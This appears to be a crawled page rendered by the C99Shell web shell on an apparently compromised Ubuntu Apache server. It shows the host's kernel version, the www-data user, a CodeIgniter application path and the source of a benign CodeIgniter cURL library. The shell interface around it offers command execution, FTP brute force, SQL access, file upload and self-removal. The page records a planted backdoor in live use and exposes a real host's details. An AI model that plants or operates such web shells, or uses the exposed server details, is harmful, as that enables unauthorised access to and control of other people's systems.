!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.4.18 (Ubuntu). PHP/7.0.33-0ubuntu0.16.04.16 

uname -a: Linux digifus 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/almazenServer/application/libraries/   drwxr-xr-x
Free 10.02 GB of 29.4 GB (34.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     curl.php (10.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php defined('BASEPATH') OR exit('No direct script access allowed');
/**
 * CodeIgniter Curl Class
 *
 * Work with remote servers via cURL much easier than using the native PHP bindings.
 *
 * @package            CodeIgniter
 * @subpackage        Libraries
 * @category        Libraries
 * @author            Philip Sturgeon
 * @license         http://philsturgeon.co.uk/code/dbad-license
 * @link            http://philsturgeon.co.uk/code/codeigniter-curl
 */
class Curl {
    protected 
$_ci;                 // CodeIgniter instance
    
protected $response '';       // Contains the cURL response for debug
    
protected $session;             // Contains the cURL handler for a session
    
protected $url;                 // URL of the session
    
protected $options = array();   // Populates curl_setopt_array
    
protected $headers = array();   // Populates extra HTTP headers
    
public $error_code;             // Error code returned as an int
    
public $error_string;           // Error message returned as a string
    
public $info;                   // Returned after request (elapsed time, etc)
    
function __construct($url '')
    {
        
$this->_ci = & get_instance();
        
log_message('debug''cURL Class Initialized');
        if ( ! 
$this->is_enabled())
        {
            
log_message('error''cURL Class - PHP was not built with cURL enabled. Rebuild PHP with --with-curl to use cURL.');
        }
        
$url AND $this->create($url);
    }
    public function 
__call($method$arguments)
    {
        if (
in_array($method, array('simple_get''simple_post''simple_put''simple_delete''simple_patch')))
        {
            
// Take off the "simple_" and past get/post/put/delete/patch to _simple_call
            
$verb str_replace('simple_'''$method);
            
array_unshift($arguments$verb);
            return 
call_user_func_array(array($this'_simple_call'), $arguments);
        }
    }
    
/* =================================================================================
     * SIMPLE METHODS
     * Using these methods you can make a quick and easy cURL call with one line.
     * ================================================================================= */
    
public function _simple_call($method$url$params = array(), $options = array())
    {
        
// Get acts differently, as it doesnt accept parameters in the same way
        
if ($method === 'get')
        {
            
// If a URL is provided, create new session
            
$this->create($url.($params '?'.http_build_query($paramsNULL'&') : ''));
        }
        else
        {
            
// If a URL is provided, create new session
            
$this->create($url);
            
$this->{$method}($params);
        }
        
// Add in the specific options provided
        
$this->options($options);
        return 
$this->execute();
    }
    public function 
simple_ftp_get($url$file_path$username ''$password '')
    {
        
// If there is no ftp:// or any protocol entered, add ftp://
        
if ( ! preg_match('!^(ftp|sftp)://! i'$url))
        {
            
$url 'ftp://' $url;
        }
        
// Use an FTP login
        
if ($username != '')
        {
            
$auth_string $username;
            if (
$password != '')
            {
                
$auth_string .= ':' $password;
            }
            
// Add the user auth string after the protocol
            
$url str_replace('://''://' $auth_string '@'$url);
        }
        
// Add the filepath
        
$url .= $file_path;
        
$this->option(CURLOPT_BINARYTRANSFERTRUE);
        
$this->option(CURLOPT_VERBOSETRUE);
        return 
$this->execute();
    }
    
/* =================================================================================
     * ADVANCED METHODS
     * Use these methods to build up more complex queries
     * ================================================================================= */
    
public function post($params = array(), $options = array())
    {
        
// If its an array (instead of a query string) then format it correctly
        
if (is_array($params))
        {
            
$params http_build_query($paramsNULL'&');
        }
        
// Add in the specific options provided
        
$this->options($options);
        
$this->http_method('post');
        
$this->option(CURLOPT_POSTTRUE);
        
$this->option(CURLOPT_POSTFIELDS$params);
    }
    public function 
put($params = array(), $options = array())
    {
        
// If its an array (instead of a query string) then format it correctly
        
if (is_array($params))
        {
            
$params http_build_query($paramsNULL'&');
        }
        
// Add in the specific options provided
        
$this->options($options);
        
$this->http_method('put');
        
$this->option(CURLOPT_POSTFIELDS$params);
        
// Override method, I think this overrides $_POST with PUT data but... we'll see eh?
        
$this->option(CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PUT'));
    }
    public function 
patch($params = array(), $options = array())
    {
        
// If its an array (instead of a query string) then format it correctly
        
if (is_array($params))
        {
            
$params http_build_query($paramsNULL'&');
        }
        
// Add in the specific options provided
        
$this->options($options);
        
$this->http_method('patch');
        
$this->option(CURLOPT_POSTFIELDS$params);
        
// Override method, I think this overrides $_POST with PATCH data but... we'll see eh?
        
$this->option(CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PATCH'));
    }
    public function 
delete($params$options = array())
    {
        
// If its an array (instead of a query string) then format it correctly
        
if (is_array($params))
        {
            
$params http_build_query($paramsNULL'&');
        }
        
// Add in the specific options provided
        
$this->options($options);
        
$this->http_method('delete');
        
$this->option(CURLOPT_POSTFIELDS$params);
    }
    public function 
set_cookies($params = array())
    {
        if (
is_array($params))
        {
            
$params http_build_query($paramsNULL'&');
        }
        
$this->option(CURLOPT_COOKIE$params);
        return 
$this;
    }
    public function 
http_header($header$content NULL)
    {
        
$this->headers[] = $content $header ': ' $content $header;
        return 
$this;
    }
    public function 
http_method($method)
    {
        
$this->options[CURLOPT_CUSTOMREQUEST] = strtoupper($method);
        return 
$this;
    }
    public function 
http_login($username ''$password ''$type 'any')
    {
        
$this->option(CURLOPT_HTTPAUTHconstant('CURLAUTH_' strtoupper($type)));
        
$this->option(CURLOPT_USERPWD$username ':' $password);
        return 
$this;
    }
    public function 
proxy($url ''$port 80)
    {
        
$this->option(CURLOPT_HTTPPROXYTUNNELTRUE);
        
$this->option(CURLOPT_PROXY$url ':' $port);
        return 
$this;
    }
    public function 
proxy_login($username ''$password '')
    {
        
$this->option(CURLOPT_PROXYUSERPWD$username ':' $password);
        return 
$this;
    }
    public function 
ssl($verify_peer TRUE$verify_host 2$path_to_cert NULL)
    {
        if (
$verify_peer)
        {
            
$this->option(CURLOPT_SSL_VERIFYPEERTRUE);
            
$this->option(CURLOPT_SSL_VERIFYHOST$verify_host);
            if (isset(
$path_to_cert)) {
                
$path_to_cert realpath($path_to_cert);
                
$this->option(CURLOPT_CAINFO$path_to_cert);
            }
        }
        else
        {
            
$this->option(CURLOPT_SSL_VERIFYPEERFALSE);
            
$this->option(CURLOPT_SSL_VERIFYHOST$verify_host);
        }
        return 
$this;
    }
    public function 
options($options = array())
    {
        
// Merge options in with the rest - done as array_merge() does not overwrite numeric keys
        
foreach ($options as $option_code => $option_value)
        {
            
$this->option($option_code$option_value);
        }
        
// Set all options provided
        
curl_setopt_array($this->session$this->options);
        return 
$this;
    }
    public function 
option($code$value$prefix 'opt')
    {
        if (
is_string($code) && !is_numeric($code))
        {
            
$code constant('CURL' strtoupper($prefix) . '_' strtoupper($code));
        }
        
$this->options[$code] = $value;
        return 
$this;
    }
    
// Start a session from a URL
    
public function create($url)
    {
        
// If no a protocol in URL, assume its a CI link
        
if ( ! preg_match('!^\w+://! i'$url))
        {
            
$this->_ci->load->helper('url');
            
$url site_url($url);
        }
        
$this->url $url;
        
$this->session curl_init($this->url);
        return 
$this;
    }
    
// End a session and return the results
    
public function execute()
    {
        
// Set two default options, and merge any extra ones in
        
if ( ! isset($this->options[CURLOPT_TIMEOUT]))
        {
            
$this->options[CURLOPT_TIMEOUT] = 30;
        }
        if ( ! isset(
$this->options[CURLOPT_RETURNTRANSFER]))
        {
            
$this->options[CURLOPT_RETURNTRANSFER] = TRUE;
        }
        if ( ! isset(
$this->options[CURLOPT_FAILONERROR]))
        {
            
$this->options[CURLOPT_FAILONERROR] = TRUE;
        }
        
// Only set follow location if not running securely
        
if ( ! ini_get('safe_mode') && ! ini_get('open_basedir'))
        {
            
// Ok, follow location is not set already so lets set it to true
            
if ( ! isset($this->options[CURLOPT_FOLLOWLOCATION]))
            {
                
$this->options[CURLOPT_FOLLOWLOCATION] = TRUE;
            }
        }
        if ( ! empty(
$this->headers))
        {
            
$this->option(CURLOPT_HTTPHEADER$this->headers);
        }
        
$this->options();
        
// Execute the request & and hide all output
        
$this->response curl_exec($this->session);
        
$this->info curl_getinfo($this->session);
        
// Request failed
        
if ($this->response === FALSE)
        {
            
$errno curl_errno($this->session);
            
$error curl_error($this->session);
            
curl_close($this->session);
            
$this->set_defaults();
            
$this->error_code $errno;
            
$this->error_string $error;
            return 
FALSE;
        }
        
// Request successful
        
else
        {
            
curl_close($this->session);
            
$this->last_response $this->response;
            
$this->set_defaults();
            return 
$this->last_response;
        }
    }
    public function 
is_enabled()
    {
        return 
function_exists('curl_init');
    }
    public function 
debug()
    {
        echo 
"=============================================<br/>\n";
        echo 
"<h2>CURL Test</h2>\n";
        echo 
"=============================================<br/>\n";
        echo 
"<h3>Response</h3>\n";
        echo 
"<code>" nl2br(htmlentities($this->last_response)) . "</code><br/>\n\n";
        if (
$this->error_string)
        {
            echo 
"=============================================<br/>\n";
            echo 
"<h3>Errors</h3>";
            echo 
"<strong>Code:</strong> " $this->error_code "<br/>\n";
            echo 
"<strong>Message:</strong> " $this->error_string "<br/>\n";
        }
        echo 
"=============================================<br/>\n";
        echo 
"<h3>Info</h3>";
        echo 
"<pre>";
        
print_r($this->info);
        echo 
"</pre>";
    }
    public function 
debug_request()
    {
        return array(
            
'url' => $this->url
        
);
    }
    public function 
set_defaults()
    {
        
$this->response '';
        
$this->headers = array();
        
$this->options = array();
        
$this->error_code NULL;
        
$this->error_string '';
        
$this->session NULL;
    }
}
/* End of file Curl.php */
/* Location: ./application/libraries/Curl.php */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0075 ]--